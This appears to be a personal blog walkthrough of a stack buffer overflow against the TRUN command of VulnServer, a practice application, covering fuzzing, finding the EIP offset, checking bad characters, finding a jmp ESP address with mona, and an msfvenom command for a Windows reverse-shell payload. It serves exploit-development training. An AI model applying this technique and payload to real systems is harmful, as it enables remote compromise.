Vulnserver – TRUN

Continuing on my way to the OSCE I recently picked up on a good application to test my newly learned exploit skillz…VulnServer. VulnServer can be found (here). Its software specifically developed to allow folks to practice fuzzing and exploit creation. It operates over TCP and has several calls available to it. Below is a successful exploit of one of those calls TRUN.


  • Kali Linux
    • netcat
    • BooFuzz
    • Wireshark
  • Windows PC (i’m using 7)
    • Vulnserver

  1. Having setup the software, I made an initial netcat connection to it to see how the software works.
  2. While connected to netcat I found TRUN (and other) available commands.

While developing a networkbased exploit…its always a good idea to keep WireShark open to see what is (actually) happening. ……..(more to come on this later as we convert our exploit into python)

2. With a basic understanding of what a successful command interaction looks like (connection->Command: {TRUN <acommand>} ->Response: {TRUN COMPLETE} ) its time to setup the Fuzzer (BooFuzz) to emulate it. ….look for a future Blog entry on how to get and setup BooFuzz.

2a. I’ve created a boofuzz script meant to emulate the above interaction.

note: the block of s_commands
effectively we are saying fuzz by sending the command TRUN 0 …where 0 will be changed to a series of different inputs

2b. I’ve now run the VulnServer application on my windows box with Immunity attached to it and have executed my BooFuzz script. (with Wireshark still running in the background of my kali box)

2c. After running for a bit i’ve successfully created a crash…now the fun begins.

You can see that it crashed at test 50 with about 5013 bytes of stuff being sent to it.

3. With a crash identified its time to create the BooFuzz Fuzz as a standalone python script narrowly targeted at the application sending only 5013 bytes of crash data.

The trick here is emulate what the BooFuzz script did through a combination of revieiwng the BooFuzz logs and reviewing WireShark.

Of note it looks like it crashed with a combination of input of

TRUN: /…/2e2e2e2e2ee2e…….

execute the above python script, pointed towards VulnServer and confirm that the crash happens again!

4. Using a builtin in tool to Kali (pattern_create.rb), create a unique pattern to attempt to identify where exactly the 5013 bytes overwrites EIP

msf-pattern_create -l 5013

note: you can run this tool with Kali-2019 using msf-patterncreate
Also note in the screenshot is shown 2500 instead of the 5013 I originally used

5. Update python exploit with new unique pattern in place of the “A”*5013. Note: you must account for the total

6. Reset VulnServer and rerun the exploit with the unique pattern. EIP should now be overwritten with a character string.


7. Using Pattern_offset, identify the specific location that EIP is overwritten

offset match at 2002

8. Modify exploit to put a unique pattern (“BBBB”) at location 2002. Be sure to account for the additional bytes by adding a filler.

9.Rerun exploit and confirm EIP is filled with B’s (or 42 in hex)

10. Having identified and gained control EIP, a quick check to ensure there are no bad character restrictions.

10a. This process involves updating the exploit with an array of hex characters 01 -FF (note we skip 00 as its always a bad character in web/network exploits). This array is then sent to the exploit (again you must account for the the size of the bad character array out of the original exploit size)

10b. Rerun the exploit.

The application should crash
Do a dump at the ESP location
This is necessary before generating payload to ensure it will be fully accepted by the host/application

In this case example no bad characters were found. If there had been some of the characters would have been changed and not relfect what was passed in the array

11. Look for jmp ESP within the binary (or anywhere else without memory protection)

11a. Use mona to identify which binaries /dlls do not have memory protections (ASLR, Safe SEH). ..if you dont know what mona is, its a utility that Immunity can use to automate certain tasks like this.

note, in this example two binaries were found that did not have ASLR, DEP or SAFE SEH enabled.
!mona nosafesehaslr

11b. Using identified binaries search them for a jmp ESP (\xff\xe4)

In this example i also included the -cpb switch to look for any memory addreses that did not contain the badchar \x00. All outputed rules (9 of them) do not contain addresses that have badchars.
command: !mona find -s “\xff\xe4” -cpb “\x00” -m essfunc.dll
address: 625011af

12. Insert the address from step 7c into your exploit in reverse notation where you had previously overwriting EIP

13. Test exploit and ensure you are jumping to your new address

13a. Set a breakpoint within Immunity at the above address.

13b. Rerun exploit, confirm you now see the breakpoint tripped

14. Create a metasploit reverse shell and insert it into your code

14a. MSF venom command
msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=443 -f python -a x86 –platform windows -b “\x00” -e x86/shikata_ga_nai

14b. Insert created shell into exploit

15. Setup a reverse shell using netcat and execute your exploit….if all goes well you should receive a shell.

note: if you are new to this and did everything right but its not working…make sure your kali VM is in bridgemode if your windows VM is on a different network or is not a VM running on the same host

A copy of this code can be found on my github page